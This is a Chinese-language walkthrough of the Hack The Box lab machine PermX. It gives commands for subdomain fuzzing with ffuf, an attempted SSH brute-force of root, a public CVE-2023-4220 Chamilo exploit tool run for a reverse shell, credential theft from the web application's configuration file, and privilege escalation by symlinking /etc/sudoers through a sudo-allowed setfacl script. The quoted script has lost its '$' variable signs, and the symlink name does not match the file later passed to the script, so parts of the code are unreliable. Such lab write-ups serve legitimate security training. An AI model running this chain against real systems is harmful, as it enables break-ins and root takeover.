HTB-season5-permx
拿到靶机地址后,拿去kali浏览器访问,发现需要修改我们的的host文件
10.10.11.23 permx.htb
再次访问就能够显示原有的界面了
信息收集
多次在这个页面找有用的信息,发现只是几个静态页面。于是开始扫目录,扫到目录也都是一些无用的js库和image存放地址。
继续收集使用nmap探测端口开放情况
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.38s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
发现也只是开放了80和22(ssh
基于22端口我尝试了一下爆破root的密码,无果。
然后下一步开始收集他的子域名。
这里用到一个很不错的爆破工具ffuf(https://github.com/ffuf/ffuf)
再附上我在网上找到的爆破字典大全(https://github.com/TheKingOfDuck/fuzzDicts)
工具使用
爆破子域名
ffuf -w /root/fuzzDicts/subdomainDicts/main.txt -u http://permx.htb -H "HOST:FUZZ.permx.htb" -fs 18 -c -mc 200
加上后面的-c -mc 200 只返回状态码为200的。
找到他的子域名后,我们还需要在我们的host文件里面加一条
10.10.11.23 lms.permx.htb
自此收集完毕。
寻找漏洞
看到网站标题是Chamilo,于是乎就去网上找关于他的一些漏洞披露。
找到github上面的一个exp(https://github.com/Rai2en/CVE-2023-4220-Chamilo-LMS)
exp附带的还有检测是否有该漏洞
python3 main.py -u http://example.com/chamilo -a scan
检测到有的话直接就利用了
反弹shell(工具自带)
python3 main.py -u http://example.com/chamilo -a revshell
跟着步骤就可以
反弹成功
寻找有用的信息
由于权限不够,我们要寻找是否有普通用户可以登入
发现一个mtz用户,尝试在网站的配置文件中找到关于用户密码,在var/www/chamilo/app/config/configuration.php中找到
尝试利用ssh登陆mtz用户
用这个密码登陆成功
执行sudo -l
发现/opt/acl.sh拥有root权限
#!/bin/bash
if [ "#" -ne 3 ]; then
/usr/bin/echo "Usage:0 user perm file"
exit 1
fi
user="1"
perm="2"
target="3"
if [[ "target" != /home/mtz/* || "target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"user":"perm" "$target"
提权
使用acl脚本更改 sudoers 文件的权限,并对其进行修改以授予 mtz 用户在主机上的 sudo 权限。为此,我在 /home/mtz 目录中创建了指向 /etc/sudoers 文件的符号链接,并使用该脚本授予用户读/写权限
ln -s /etc/sudoers ./ysper
sudo /opt/acl.sh mtz rw /home/mtz/tada
最后更改/etc/sudoers文件
重新登陆一下,执行sudo su便可以拿到root权限
文章评论